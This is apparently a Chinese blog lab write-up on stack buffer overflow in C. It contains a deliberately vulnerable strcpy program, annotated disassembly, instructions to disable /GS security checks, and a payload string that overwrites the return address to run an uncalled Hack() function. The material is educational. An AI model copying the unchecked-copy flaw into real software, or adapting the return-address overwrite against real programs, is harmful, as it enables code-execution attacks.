缓冲区溢出实验C语言编程

缓冲区溢出

缓冲区溢出漏洞分析原理通过实现理解缓冲区溢出漏洞的原理,清楚在程序调用过程中内存栈的变化。

源代码

 #define _CRT_SECURE_NO_WARNINGS
    #include <stdlib.h>    
    #include <stdio.h>    
    #include <string.h>
    int sub(char* x)   
     {     
      char y[10];      
      strcpy(y, x);      
      return 0;   
       }
    int main(int argc, char** argv)   
     {      if (argc > 1)     
               sub(argv[1]);     
       printf("exit");    
       }

运行时项目属性设置:
1.‘c/c++’—‘代码生成’—'启用C++异常’设置为空—'基本运行时检查’设置为空—‘安全检查’设置为’禁用安全检查(/GS-)’
2.‘c/c++’—‘所有选项’—'SDL检查’设置为否* 命令参数设置:‘设置属性’—‘调试’—'命令参数’设置的参数由短到长查看EBP,EIP,ESP的变化如下图:在这里插入图片描述

反汇编代码

int sub(char* x)    
{    007D1580 55                   push        ebp  //局部变量入栈    
007D1581 8B EC                mov         ebp,esp      
007D1583 83 EC 4C             sub         esp,4Ch   
007D1586 53                   push        ebx      
007D1587 56                   push        esi      
007D1588 57                   push        edi     
007D1589 B9 08 90 7D 00       mov         ecx,7D9008h      
007D158E E8 1B FC FF FF       call        
007D11AE    char y[10];  strcpy(y, x);    
007D1593 8B 45 08             mov         eax,dword ptr [ebp+8]      
007D1596 50                   push        eax      
007D1597 8D 4D F4             lea         ecx,[ebp-0Ch]      
007D159A 51                   push        ecx      
007D159B E8 3B FC FF FF       call        
007D11DB  //调用函数,并将函数下一条指令入栈    
007D15A0 83 C4 08             add         esp,8    r
eturn 0;    
007D15A3 33 C0                xor         eax,eax      }    
 int main(int argc, char** argv)    {    
 007D1650 55                   push        ebp  //ebp入栈    
 007D1651 8B EC                mov         ebp,esp  //esp指向ebp位置    
 007D1653 83 EC 40             sub         esp,40h  //esp减40h,上移    
 007D1656 53                   push        ebx  //ebx入栈   
 007D1657 56                   push        esi  //esi入栈    
 007D1658 57                   push        edi  //edi入栈    
 007D1659 B9 08 90 7D 00       mov         ecx,7D9008h  //7D9008h的值给ecx    
 007D165E E8 4B FB FF FF       call      007D11AE  //调用函数
 if (argc > 1)    
 007D1663 83 7D 08 01          cmp         dword ptr [ebp+8],1 //     
 007D1667 7E 17                jle      007D1680  //不大于跳转,大于顺序执行    sub(argv[1]);    
 007D1669 B8 04 00 00 00       mov         eax,4  //eax=4    
 007D166E C1 E0 00             shl         eax,0  //eax值没变    
 007D1671 8B 4D 0C             mov         ecx,dword ptr [ebp+0Ch]//ecx的值等于ebp+0Ch的值      
 007D1674 8B 14 01             mov         edx,dword ptr [ecx+eax]  //edx的值等于ebp+0Ch+4的值    
 sub(argv[1]);        
 007D1677 52                   push        edx      
 007D1678 E8 73 FA FF FF       call        007D10F0     
 007D167D 83 C4 04             add         esp,4    
 printf("exit");   
  007D1680 68 30 5B 7D 00       push        7D5B30h      
 007D1685 E8 AD F9 FF FF       call        007D1037      
 007D168A 83 C4 04             add         esp,4      
 }    
 007D168D 33 C0                xor         eax,eax      
 007D168F 5F                   pop         edi  //之后都在出栈    
 007D1690 5E                   pop         esi      
 007D1691 5B                   pop         ebx      
 007D1692 8B E5                mov         esp,ebp      
 007D1694 5D                   pop         ebp      
 007D1695 C3                   ret             //

退出程序打开反汇编、寄存器、内存观察寄存器的变化,分析内存中的数据变化:
1.EIP指向当前指向指令所在的地址,由下图可以看到,eip的值会随着程序执行而变化在这里插入图片描述
2.ESP是栈顶指针,当调用函数时,ESP的值会减小在这里插入图片描述

分析画图

关于内存中数据变化的分析如下图所示在这里插入图片描述

缓冲区溢出漏洞利用根据缓冲区溢出漏洞原理,执行未被调用的函数

实验步骤实验代码

#define _CRT_SECURE_NO_WARNINGS
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int sub(char* x){  
char y[10];  
strcpy(y, x);  
return 0;
}
void Hack()
{  
printf("You are hacked!");
}
int main(int argc, char** argv)
{
  char str[30] = "aaabaaacaaadaaae\x80\x15\x21\x03";  
  sub(str);  
  //实现Hach函数时使用以上两行  
  //寻找溢出边界时使用以下两行  
  //if (argc > 1)    
      //sub(argv[1]);  
  printf("exit");}

更改命令参数设置(由于太长,此处以报错时的内存显示具体字符串值)![在这里插入图片描述](https://img-blog.csdnimg.cn/20200220232103164.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MjcxNzEyMQ==,size_16,color_FFFFFF,t_70

  • 一定要用有规律的字符串,由于初次没有使用有规律的字符串,出错了,很久都没有找到原因,也无法解决
  • 之后再次反思,其实不用命令参数设置,直接使用"aaabaaacaaadaaaeaaafaaagaaah"字符串,找到返回函数地址然后替换即可

调试执行,看到如下图出现报错,函数返回失败。说明是在0x66616161的位置出现了溢出报错,因为将此处换为Hack()函数的地址,来执行Hack()函数、在这里插入图片描述反汇编找到Hach函数的地址、在这里插入图片描述因此替换0x66616161处的地址后,字符串为"aaabaaacaaadaaae\x80\x15\x21\x03",执行以后看到如下结果。
实验结果

实验总结

  1. 调用strcpy等拷贝函数前应该先检查参数长度,清楚参数的含义
  2. 可以利用缓冲区溢出漏洞,由于拷贝的参数太长,会覆盖栈中被拷贝参数以下的数据,比如返回地址被拷贝之后无法正确执行就会报错,因此根据报错可以寻找到返回地址,替换为我们需要执行的目标函数的地址,从而执行目标代码,或者访问到对方不想让我们访问的数据
  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值